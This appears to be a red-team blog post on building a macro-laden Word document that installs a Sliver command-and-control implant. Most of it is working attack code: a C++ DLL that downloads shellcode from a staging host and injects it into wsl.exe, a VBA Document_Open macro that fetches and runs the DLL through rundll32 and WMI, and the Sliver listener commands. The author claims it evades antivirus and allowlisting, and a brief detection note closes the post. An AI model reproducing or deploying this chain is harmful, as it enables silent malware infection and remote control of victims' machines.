Github: https://github.com/thoughtfault/sliver-maldoc

We will create a maldoc to get execution of a sliver implant on a target endpoint.

Custom stager

First, we will create our custom stager, which will download and execute our implant shellcode in a target process

#include "pch.h"
#include <vector>
#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <winhttp.h>
#include <tlhelp32.h>

#pragma comment(lib, "Winhttp.lib")

extern "C" __declspec(dllexport) void inject() {
    const wchar_t* stagingHost = L"192.168.56.1";
    INTERNET_PORT stagingPort = 8443;
    const wchar_t* stagingFile = L"notmalware.woff";


    HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession == NULL) {
        return;
    }

    HINTERNET hConnect = WinHttpConnect(hSession, stagingHost, stagingPort, 0);
    if (hConnect == NULL) {
        CloseHandle(hSession);
        return;
    }

    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", stagingFile, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    if (hRequest == NULL) {
        CloseHandle(hSession);
        CloseHandle(hConnect);
        return;
    }

    

    bool retry;
    do {
        retry = false;

        if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, NULL)) {

            DWORD error = GetLastError();
            if (error == ERROR_WINHTTP_SECURE_FAILURE) {
                DWORD dwFlags =
                    SECURITY_FLAG_IGNORE_UNKNOWN_CA |
                    SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
                    SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
                    SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;

                if (WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags))) {
                    retry = true;
                }
            }
            else if (error == ERROR_WINHTTP_RESEND_REQUEST) {
                retry = true;
            }
            else if (error == ERROR_WINHTTP_TIMEOUT) {
                Sleep(60000);
                retry = true;
            }
        }
    } while (retry);


    bool bResponse = WinHttpReceiveResponse(hRequest, NULL);
    if (!bResponse) {
        CloseHandle(hSession);
        CloseHandle(hConnect);
        CloseHandle(hRequest);
        return;
    }

    DWORD dwSize;
    DWORD dwTotalSize;
    LPSTR buf;
    std::vector<unsigned char> shellcode_vec;
    do {
        dwSize = 0;
        if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
            goto cleanup;
            return;
        }

        buf = new char[dwSize];
        if (!buf) {
            goto cleanup;
            return;
        }

        ZeroMemory(buf, dwSize);
        if (!WinHttpReadData(hRequest, (LPVOID)buf, dwSize, &dwTotalSize)) {
            delete[] buf;
            goto cleanup;
            return;
        }

        shellcode_vec.insert(shellcode_vec.end(), buf, buf + dwSize);

        delete[] buf;
    } while (dwSize > 0);
    cleanup:
		CloseHandle(hSession);
		CloseHandle(hConnect);
		CloseHandle(hRequest);

    unsigned char* shellcode = new unsigned char[shellcode_vec.size()];
    std::copy(shellcode_vec.begin(), shellcode_vec.end(), shellcode);

    size_t shellcode_size = shellcode_vec.size();

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        return;
    }

    std::wstring targetProcess = L"wsl.exe";
    DWORD targetPID = NULL;
    do {
        
        if (targetProcess == pe32.szExeFile) {
            targetPID = pe32.th32ProcessID;
        }

    } while (Process32Next(hProcessSnap, &pe32));
    if (targetPID == NULL) {
        return;
    }

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    if (hProcess == NULL) {
        return;
    }

    PVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcode_size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL) {
        CloseHandle(hProcess);
        return;
    }

    if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcode_size, NULL)) {
        CloseHandle(hProcess);
        return;
    }

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (hThread == NULL) {
        CloseHandle(hProcess);
        return;
    }

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

VBA

We will create our VBA code, which will download this .dll and execute it with rundll32.

Sub downloadFile(url As String, fileOutPath As String)

    Dim WinHttpReq As Object, oStream As Object
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", url, False
    WinHttpReq.Send

    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        oStream.SaveToFile fileOutPath, 2
        oStream.Close
    End If

End Sub

Sub Document_Open()
    Dim filepath As String
    filepath = Environ("TEMP") & "\update.dll"

    downloadFile "http://192.168.56.1:8080/update.dll", filepath

    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
    errReturn = objProcess.Create("rundll32.exe " & filepath & ",inject", Null, objConfig, intProcessID)
End Sub

Server-side

We will start our an http server to serve the .dll

python3 -m http.server 8080

We will set up sliver to listen on the correct ports

profiles new --mtls 192.168.56.1:443 --format shellcode win64
stage-listener --url https://192.168.56.1:8443 --profile win64
mtls --lport 443

This payload is ok. It bypasses AV and AWL (depending on configuration, you could block .dll wites to \users\public). Hopefully not EDR.

AV Detections

Detection

The main detection opportunity is the writing of the unsigned .dll to a publicly writable folder, followed by the execution of the .dll with a lolbas. rundll32’s parent process will be wmiprvse. This is just basic evasion and would hope to break any detections looking for winword creating rundll32. Ideally, all the functionality in the .dll would be done through VBA, but my VBA is bad so I coppied the f-secure payload :).

References

https://blog.f-secure.com/dechaining-macros-and-evading-edr/

https://dominicbreuker.com/post/

https://github.com/BishopFox/sliver/wiki/Stagers